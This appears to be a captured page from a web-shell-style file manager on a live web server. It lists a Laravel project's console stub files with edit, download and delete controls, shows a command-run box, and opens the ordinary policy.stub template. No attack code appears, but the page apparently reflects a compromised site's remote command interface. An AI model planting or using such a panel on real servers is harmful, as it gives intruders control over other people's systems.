/
var
/
www
/
cobraambalaj
/
vendor
/
laravel
/
framework
/
src
/
Illuminate
/
Foundation
/
Console
/
stubs
/
/var/www/cobraambalaj/vendor/laravel/framework/src/Illuminate/Foundation/Console/stubs
mkdir
upload
Name
Size
Mode
Actions
cast.stub
795
0644
edit
dl
rm
channel.stub
441
0644
edit
dl
rm
console.stub
678
0644
edit
dl
rm
event.stub
802
0644
edit
dl
rm
exception-render-report.stub
442
0644
edit
dl
rm
exception-render.stub
312
0644
edit
dl
rm
exception-report.stub
218
0644
edit
dl
rm
exception.stub
96
0644
edit
dl
rm
job.queued.stub
652
0644
edit
dl
rm
job.stub
379
0644
edit
dl
rm
listener-duck.stub
432
0644
edit
dl
rm
listener-queued-duck.stub
484
0644
edit
dl
rm
listener-queued.stub
519
0644
edit
dl
rm
listener.stub
467
0644
edit
dl
rm
mail.stub
544
0644
edit
dl
rm
maintenance-mode.stub
1400
0644
edit
dl
rm
markdown-mail.stub
548
0644
edit
dl
rm
markdown-notification.stub
1127
0644
edit
dl
rm
markdown.stub
191
0644
edit
dl
rm
model.pivot.stub
129
0644
edit
dl
rm
model.stub
187
0644
edit
dl
rm
notification.stub
1301
0644
edit
dl
rm
observer.plain.stub
64
0644
edit
dl
rm
observer.stub
1277
0644
edit
dl
rm
policy.plain.stub
306
0644
edit
dl
rm
policy.stub
2203
0644
edit
dl
rm
provider.stub
364
0644
edit
dl
rm
request.stub
483
0644
edit
dl
rm
resource-collection.stub
382
0644
edit
dl
rm
resource.stub
359
0644
edit
dl
rm
routes.stub
455
0644
edit
dl
rm
rule.stub
653
0644
edit
dl
rm
test.stub
394
0644
edit
dl
rm
test.unit.stub
264
0644
edit
dl
rm
view-component.stub
451
0644
edit
dl
rm
Edit:
/var/www/cobraambalaj/vendor/laravel/framework/src/Illuminate/Foundation/Console/stubs/policy.stub
(2203B)
<?php namespace {{ namespace }}; use Illuminate\Auth\Access\HandlesAuthorization; use {{ namespacedModel }}; use {{ namespacedUserModel }}; class {{ class }} { use HandlesAuthorization; /** * Determine whether the user can view any models. * * @param \{{ namespacedUserModel }} $user * @return mixed */ public function viewAny({{ user }} $user) { // } /** * Determine whether the user can view the model. * * @param \{{ namespacedUserModel }} $user * @param \{{ namespacedModel }} ${{ modelVariable }} * @return mixed */ public function view({{ user }} $user, {{ model }} ${{ modelVariable }}) { // } /** * Determine whether the user can create models. * * @param \{{ namespacedUserModel }} $user * @return mixed */ public function create({{ user }} $user) { // } /** * Determine whether the user can update the model. * * @param \{{ namespacedUserModel }} $user * @param \{{ namespacedModel }} ${{ modelVariable }} * @return mixed */ public function update({{ user }} $user, {{ model }} ${{ modelVariable }}) { // } /** * Determine whether the user can delete the model. * * @param \{{ namespacedUserModel }} $user * @param \{{ namespacedModel }} ${{ modelVariable }} * @return mixed */ public function delete({{ user }} $user, {{ model }} ${{ modelVariable }}) { // } /** * Determine whether the user can restore the model. * * @param \{{ namespacedUserModel }} $user * @param \{{ namespacedModel }} ${{ modelVariable }} * @return mixed */ public function restore({{ user }} $user, {{ model }} ${{ modelVariable }}) { // } /** * Determine whether the user can permanently delete the model. * * @param \{{ namespacedUserModel }} $user * @param \{{ namespacedModel }} ${{ modelVariable }} * @return mixed */ public function forceDelete({{ user }} $user, {{ model }} ${{ modelVariable }}) { // } }
Save
cmd:
run